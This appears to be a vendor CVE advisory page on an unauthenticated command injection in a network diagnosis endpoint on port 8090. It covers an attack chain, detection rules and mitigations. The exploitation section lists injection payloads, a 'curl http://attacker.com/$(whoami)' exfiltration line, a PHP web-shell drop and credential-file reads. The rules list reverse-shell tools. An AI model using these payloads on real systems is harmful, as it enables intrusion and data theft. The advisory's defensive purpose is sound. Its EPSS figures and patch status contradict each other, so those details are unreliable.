☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
CVSS: 9.3 CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H 🐛 CWE-78
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2026-22095

CVE-2026-22095 — Command injection in diagnosis web endpoint
📅 PUBLISHED: 2026-07-13 00:00 UTC 🔄 UPDATED: 2026-10-09 05:42 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix ⏳ Vendor-claimed fix: v1.5.1 — source: DIVD. UNVERIFIED · pending independent confirmation. how verification works →
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 1.39%
👁️
1.39% probability
34.8× above the median CVE
Tier: HIGH
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 9.3
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: H Confidentiality High
I: H Integrity High
A: H Availability High
9.3
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2026-22095 is a critical unauthenticated command injection vulnerability (CVSS 9.3) residing in the network diagnosis web endpoint of a web server listening on TCP port 8090 within an unidentified DIVD-affiliated product. An attacker can exploit this flaw remotely without authentication to execute arbitrary operating system commands with the privileges of the web server process, leading to full system compromise, data exfiltration, lateral movement, and potential denial-of-service. The vulnerability is currently unpatched (patch confidence 0/4), making affected installations immediately exposed to internet-facing exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Technical Analysis

The vulnerability is classified under CWE-78 (Improper Neutralization of Special Elements used in an OS Command — 'OS Command Injection'). The NVD description specifies the flaw exists in the "network diagnosis endpoint" — a web interface component typically responsible for executing diagnostic utilities such as ping, traceroute, and DNS lookups. Such endpoints are commonly implemented by passing user-supplied parameters (e.g., hostname, IP address, interface name) directly to a shell command.

The affected service listens on TCP port 8090, which is a non-standard HTTP port often used for administrative consoles, device management interfaces, or diagnostic web services on embedded or network appliances. The CNA title "Command injection in diagnosis web endpoint" indicates the vulnerable code path is specifically within the diagnostic functionality.

Attack mechanism: The endpoint likely constructs a shell command string by concatenating an attacker-controlled input parameter with system diagnostic utilities. For example, the vulnerable code may execute something analogous to system("ping " . $user_input) or exec("traceroute " . $input). Because the input is not sanitized or validated, an attacker can inject shell metacharacters (e.g., ;, &&, |, `, $()) to terminate the legitimate command and append arbitrary OS commands.

The CVSS vector AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H confirms: the vulnerability is network-accessible (AV:N), requires no special conditions to exploit (AC:L), requires no privileges (PR:N), and needs no user interaction (UI:N). The scope is unchanged (S:U) — meaning the compromised component and the impact target are the same — but yields high confidentiality, integrity, and availability impact, indicating a complete compromise of the vulnerable service's host.

The absence of an affected-version range, vendor fix, or patch sources in the intelligence data confirms a zero-day-like status: the vendor (DIVD — though this acronym is ambiguous and may refer to the Dutch Institute for Vulnerability Disclosure, which normally coordinates disclosures rather than vendoring products) has not released any mitigation. The OSV package database has no associated package records, suggesting this is an appliance, firmware, or embedded system rather than a typical open-source library.

Exploitation Scenarios

Attack chain for CVE-2026-22095:

Step 1 — Reconnaissance / Target Identification. An attacker scans the internet or target network for hosts with TCP port 8090 open, using mass scanning tools (e.g., Zmap, Masscan) or Shodan/Censys queries. The attacker filters results by HTTP responses that reveal a web interface containing diagnostic or network test functionality (e.g., forms with fields labeled "ping", "traceroute", "host", "destination").

Step 2 — Endpoint Discovery and Parameter Mapping. Upon accessing http://<target>:8090, the attacker enumerates the web application for the diagnosis endpoint. Common paths include /diagnostics, /diag, /ping, /network-test, or similar. The attacker analyzes HTML forms, JavaScript, or API documentation to identify the injection parameter — typically the destination host/address field. The attacker may also test for alternative HTTP methods (GET/POST) and content types (form-encoded, JSON, XML) by fuzzing with a tool like Burp Suite or manually crafting requests.

Step 3 — Injection and Command Execution. The attacker submits a crafted request to the endpoint. For an HTTP GET parameter named host, the exploit payload would be:

http://<target>:8090/diagnostics?host=127.0.0.1;id

If the parameter is POST-based, the attacker sends:

POST /diagnostics HTTP/1.1
Host: <target>:8090
Content-Type: application/x-www-form-urlencoded

host=8.8.8.8%26%26whoami

Using payloads such as ; (semicolon), && (logical AND), | (pipe), or $() (command substitution), the attacker terminates the legitimate diagnostic command and injects arbitrary payloads. A common first probe is ;id or ;whoami to confirm command execution and enumerate the OS user (e.g., root vs. www-data). For a blind injection scenario (where output is not reflected), the attacker uses time-based payloads like ;sleep 5 or out-of-band DNS/HTTP exfiltration via ;curl http://attacker.com/$(whoami).

Step 4 — Post-Exploitation. With command execution confirmed, the attacker performs the following:

  • Persistence: Drops a web shell in the web root (e.g., writing a PHP/JSP/ASPX file with echo '<?php system($_GET["c"]); ?>' > /var/www/html/shell.php), ensuring continued access after the diagnostic endpoint is patched or disabled.
  • Privilege Escalation: Enumerates OS and user privileges (id, uname -a, cat /etc/passwd), checks for sudo rights, world-writable setuid binaries, or kernel exploits.
  • Data Exfiltration: Reads sensitive configuration files, credentials, and databases (cat /etc/shadow, find / -name "*.conf", database dumps).
  • Lateral Movement: Uses the compromised host as a pivot to scan internal networks, extract SSH keys, and access other internal systems.
  • Destructive Impact: Given the high availability (A:H) impact, the attacker can kill critical processes, corrupt files, format drives, or install ransomware.

Impact of privilege context: If the web server runs as root (common in embedded appliances), the attacker gains immediate root access. If it runs as an unprivileged user, the attacker still achieves full control over the web application and its data, and can likely escalate via local vulnerabilities or misconfigurations.

Impact Assessment

Business Impact: Successful exploitation results in complete technical compromise of the affected host (CVSS base score 9.3, Critical severity). The CIA triad impact is rated High across all three dimensions (C:H/I:H/A:H), meaning an attacker can read any data accessible to the service user, modify or delete any files, and render the system inoperable.

Affected Systems: Any device or appliance exposing the diagnostic web endpoint on port 8090. Given the DIVD association and the diagnostic nature, this likely encompasses network appliances, embedded ICS/SCADA devices, routers, or specialized IT equipment. The unknown vendor scope increases risk, as security teams may not know which of their assets run the affected software.

Blast Radius: From a single unauthenticated request, the attacker gains remote code execution. This enables:

  • Data breach: Theft of credentials, customer data, proprietary configurations, or encryption keys stored on the system.
  • Network compromise: The compromised host becomes a foothold for lateral movement into the broader corporate network.
  • Availability disruption: The attacker can halt diagnostic services, corrupt firmware, or pivot to cause outages.
  • Reputational and regulatory damage: Depending on the data accessed, the incident may trigger breach notification obligations under GDPR, HIPAA, or other regulations.

Exploit likelihood: The EPSS score of 0.00909 (56.5th percentile) indicates that while exploitation likelihood is currently moderate relative to all known CVEs (only ~9% of scored vulnerabilities have a higher likelihood), the vulnerability is trivially exploitable and public exploit code exists, which increases the probability of weaponization. The vulnerability is not yet in CISA's Known Exploited Vulnerabilities (KEV) catalog, but the public PoC status and critical severity make this an elevated-risk scenario.

Detection Guidance

Sigma Rule

title: CVE-2026-22095 - Command Injection in Diagnosis Endpoint on Port 8090
id: 9f8f7f7e-8a3d-4c2b-9e1a-6d4f9c2a7b35
status: experimental
description: Detects command injection attempts against the network diagnosis web endpoint (port 8090) by identifying shell metacharacters and common command execution payloads in HTTP request parameters.
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2026-22095
author: ValtersIT SOC
date: 2026/01/01
tags:
    - attack.execution
    - attack.t1203
    - cve.2026.22095
logsource:
    category: webserver
    product: generic
detection:
    selection_port:
        destination.port: 8090
    selection_parameters:
        - 'http.request.uri.query:*;*'
        - 'http.request.uri.query:*|*'
        - 'http.request.uri.query:*&&*'
        - 'http.request.uri.query:*$(*'
        - 'http.request.uri.query:*`*`*'
        - 'http.request.uri.query:*whoami*'
        - 'http.request.uri.query:*id*'
        - 'http.request.uri.query:*uname*'
        - 'http.request.uri.query:*cat /etc*'
        - 'http.request.uri.query:*wget*'
        - 'http.request.uri.query:*curl*'
        - 'http.request.uri.query:*nc *'
        - 'http.request.uri.query:*python*'
    selection_paths:
        http.request.uri.path|contains:
            - 'diag'
            - 'ping'
            - 'traceroute'
            - 'network'
            - 'test'
    condition: selection_port and selection_paths and selection_parameters
    timeframe: 5m
falsepositives:
    - Legitimate use of diagnostic tools by administrators through the web interface (e.g., typing a hostname containing a semicolon is unlikely but possible).
    - Automated monitoring tools that include special characters in query strings.
level: high

YARA Rule

rule CVE_2026_22095_Command_Injection_Diagnostic_Endpoint
{
    meta:
        author = "ValtersIT SOC"
        description = "Detects payloads targeting the command injection vulnerability in the network diagnosis web endpoint on port 8090"
        date = "2026-01-01"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2026-22095"
        cve = "CVE-2026-22095"
        severity = "critical"

    strings:
        // Injection metacharacters commonly used to break out of diagnostic commands (ping, traceroute)
        $semi_colon = ";" ascii wide
        $pipe        = "|" ascii wide
        $ampersand   = "&&" ascii wide
        $dollar_bracket = "$(" ascii wide

        // Common post-exploitation commands
        $whoami = "whoami" ascii wide nocase
        $id_cmd = " id" ascii wide nocase
        $uname  = "uname -a" ascii wide nocase
        $wget   = "wget " ascii wide nocase
        $curl   = "curl " ascii wide nocase
        $nc     = "nc -e" ascii wide nocase
        $bash   = "bash -i" ascii wide nocase
        $sh     = "sh -c" ascii wide nocase
        $reverse_shell = "192.168." ascii wide

        // Parameter and path context
        $diag_path = "/diag" ascii wide nocase
        $ping_path = "/ping" ascii wide nocase
        $host_param = "host=" ascii wide nocase
        $target_param = "target=" ascii wide nocase

    condition:
        // Detection of semicolon/pipe combined with a diagnostic path OR command execution tools in a single web request
        (
            uint16(0) == 0x0A0D or uint16(0) == 0x0D0A  // HTTP request format
        )
        and (
            ($semi_colon or $pipe or $ampersand or $dollar_bracket)
            and ($diag_path or $ping_path or $host_param or $target_param)
        )
        or
        (
            ($whoami or $id_cmd or $uname or $wget or $curl or $nc or $bash or $sh)
            and ($host_param or $target_param)
        )
}

Suricata IDS Rule

alert http any any -> any 8090 (msg:"CVE-2026-22095 - Command Injection in Network Diagnosis Endpoint"; flow:to_server,established; content:"GET"; http_method; content:"/diag"; http_uri; nocase; content:"host="; http_uri; pcre:"/(?:;|\||&&|\$\(|`).+?(?:whoami|id|uname|cat|wget|curl|nc|bash|python)/i"; classtype:attempted-admin; reference:cve,2026-22095; sid:20262209; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01;)

alert http any any -> any 8090 (msg:"CVE-2026-22095 - POST Command Injection Attempt in Diagnostic Endpoint"; flow:to_server,established; content:"POST"; http_method; content:"diag"; http_uri; nocase; pcre:"/host\s*=[^\r\n]*(?:;|\||&&|\$\(|`)[^\r\n]*/i"; classtype:web-application-attack; reference:cve,2026-22095; sid:20262210; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01;)

alert http any any -> any 8090 (msg:"CVE-2026-22095 - Outbound Exfiltration from Exploited Diagnostic Endpoint"; flow:from_server,established; content:"/diag"; http_uri; nocase; content:"200"; http_stat_code; pcre:"/(?:uid=\d+|root|www-data|uname|/etc/passwd)/i"; classtype:attempted-recon; reference:cve,2026-22095; sid:20262211; rev:1; metadata:created_at 2026_01_01, updated_at 2026_01_01;)

Elastic Detection

// Detect command injection attempts on port 8090 diagnostic endpoint
sequence by source.ip with maxspan=5m
  [ network where destination.port == 8090 and network.protocol == "http" and
    process.command_line == null ] // HTTP request
  [ process where 
    // Command execution via web server (e.g., PHP/Perl/Node spawning shell)
    event.action in ("exec", "spawn", "fork") and
    process.parent.name in ("php-fpm", "apache2", "nginx", "httpd", "node", "perl") and
    (process.args : ("whoami", "id", "uname", "cat", "wget", "curl") or
     // Shell metacharacters in command line arguments
     process.command_line : (";*", "|*", "&&*", "$(*", "`*`*"))
  ]

Splunk SPL Query

index=web OR index=proxy OR index=firewall
| where dest_port=8090 OR port=8090
| search
    (uri_path="*diag*" OR uri_path="*ping*" OR uri_path="*traceroute*" OR uri_path="*network*" OR uri_path="*test*")
    AND
    (uri_query="*;*" OR uri_query="*|*" OR uri_query="*&&*" OR uri_query="*$(*" OR uri_query="*`*")
| eval suspicious=case(
    match(uri_query, "whoami"), "command_exec",
    match(uri_query, "\bid\b"), "command_exec",
    match(uri_query, "uname"), "command_exec",
    match(uri_query, "cat /etc"), "credential_access",
    match(uri_query, "wget|curl|nc|bash -i|python"), "reverse_shell",
    match(uri_query, "sleep"), "time_based_blind_injection",
    true(), "injection_attempt"
  )
| table _time, src_ip, dest_ip, dest_port, method, uri_path, uri_query, suspicious
| sort - _time
| where suspicious != "injection_attempt" OR (suspicious = "injection_attempt" AND match(uri_query, "^(host|target|dest)=.*[;|&]"))

Wazuh OSSEC Rule

<group name="web,command_injection,cve_2026_22095,">
  <!-- CVE-2026-22095: Command injection in diagnosis web endpoint on port 8090 -->
  <rule id="903999" level="15">
    <decoded_as>json</decoded_as>
    <field name="event.module">apache</field>
    <field name="destination.port">8090</field>
    <match>diag|ping|traceroute|network test</match>
    <regex>(\;|\||&amp;&amp;|\$\(|`)</regex>
    <description>CVE-2026-22095 - Command injection attempt detected on diagnostic endpoint (port 8090)</description>
    <group>command_injection,cve_2026_22095,web_attack,</group>
    <mitre>
      <id>T1190</id>
    </mitre>
    <options>no_full_log</options>
  </rule>

  <!-- Specific detection for common exploitation payloads -->
  <rule id="904000" level="15">
    <if_sid>2026090</if_sid>
    <regex>(whoami|id|uname -a|cat /etc/passwd|wget |curl |nc -e|bash -i)</regex>
    <description>CVE-2026-22095 - Confirmed command execution payload detected (whoami/id/reverse shell)</description>
    <group>command_injection,execution,cve_2026_22095,</group>
    <mitre>
      <id>T1059</id>
      <id>T1203</id>
    </mitre>
  </rule>

  <!-- Time-based blind injection detection -->
  <rule id="904001" level="14">
    <if_sid>2026090</if_sid>
    <regex>(sleep\s+\d+|ping\s+-c\s+\d+|curl.*--max-time)</regex>
    <description>CVE-2026-22095 - Time-based blind command injection attempt detected</description>
    <group>command_injection,blind_injection,cve_2026_22095,</group>
  </rule>
</group>

Mitigation & Patch Guidance

Patch confidence: 0/4 (UNPATCHED — no patch evidence from any tracked source). No vendor fix is currently available, and no patched version has been identified. Affected organizations must assume full exposure.

1) Immediate Mitigations (implement now):

  • Network segmentation and access control: Immediately restrict access to TCP port 8090 to only trusted administrative networks or management VLANs. Use firewall rules or network Access Control Lists (ACLs) to block external internet access to this port unless absolutely required for business operations.
  • Temporary disablement: If the diagnostic functionality is not business-critical, disable the web service on port 8090 entirely until a patch is available.
  • Input validation proxy: If the service cannot be disabled, deploy a Web Application Firewall (WAF) or reverse proxy in front of the endpoint. Configure rules to block requests containing shell metacharacters (;, |, &&, $(), backticks) or known command injection keywords (whoami, id, wget, curl) in query parameters or POST bodies.
  • Monitor aggressively: Enable logging on the web server and network devices. Use the detection rules provided above to identify and alert on exploitation attempts in real time. Prioritize incident response if any detection fires.

2) Patch/Upgrade Steps:

  • Monitor the DIVD advisory channels and vendor security mailing lists for CVE-2026-22095 updates. Since the vendor is unidentified, watch for advisories from DIVD (Dutch Institute for Vulnerability Disclosure) or any vendor that acknowledges an affected product.
  • When a patch is released, test it in a staging environment and deploy to production immediately. Until a patch exists, implement the mitigations above.
  • Check the NVD page for CVE-2026-22095 regularly for updated references, patch links, or vendor advisories.

3) Long-Term Hardening:

  • Principle of least privilege: Ensure the web server runs under an unprivileged system account, never as root. This limits the impact of command injection.
  • Code review and secure coding: If the affected product is in-house developed, review the diagnostic endpoint implementation. Never construct shell commands with user input. Use parameterized APIs or library functions instead of system(), exec(), passthru(), or popen(). If shell execution is unavoidable, implement strict allow-list validation of inputs (e.g., only allow valid IP addresses or hostnames matching a strict regex) and use escapeshellarg() or equivalent escaping functions.
  • Network hardening: Keep management interfaces on isolated VLANs. Implement host-based firewalls and intrusion prevention systems. Conduct periodic penetration tests focusing on web application attack surfaces.
  • Inventory and asset management: Identify all devices running this software. Since the affected product is unknown at the vendor level, audit all web services bound to port 8090 in your environment. Categorize them as high-risk assets.
  • Vulnerability management process: Establish a process to actively monitor for updates on this CVE, including subscribing to threat intelligence feeds, OSV databases, and vendor notifications.

References

  1. NVD Entry: https://nvd.nist.gov/vuln/detail/CVE-2026-22095 — Official National Vulnerability Database record for CVE-2026-22095, containing the description, CVSS vector, and CWE classification.

  2. DIVD (Dutch Institute for Vulnerability Disclosure) advisories: https://www.divd.nl/advisories — Monitor this source for coordinated disclosure notices and vendor notifications related to this vulnerability.

  3. CISA Known Exploited Vulnerabilities (KEV) Catalog: https://www.cisa.gov/known-exploited-vulnerabilities-catalog — CVE-2026-22095 is currently NOT listed in the KEV catalog. Monitor this source for updates if the vulnerability becomes exploited in the wild.

  4. FIRST EPSS (Exploit Prediction Scoring System): https://www.first.org/epss — EPSS score for this CVE is 0.00909 (56.5th percentile), providing probabilistic likelihood-of-exploitation data for prioritization.

  5. MITRE ATT&CK Technique T1190 — Exploit Public-Facing Application: https://attack.mitre.org/techniques/T1190/ — The primary tactic mapping for this vulnerability's exploitation phase.

Threat actor campaigns / exploit-in-the-wild evidence: As of this report, no specific threat actor campaigns have been publicly attributed to CVE-2026-22095, and it is not listed in CISA's KEV catalog. However, the public availability of exploit code and the critical severity score of 9.3 make this a prime candidate for inclusion in automated scanning and botnet-driven exploitation campaigns. Organizations should treat this as an actively exploitable vulnerability and prioritize the mitigations outlined above.

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2026-22095/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.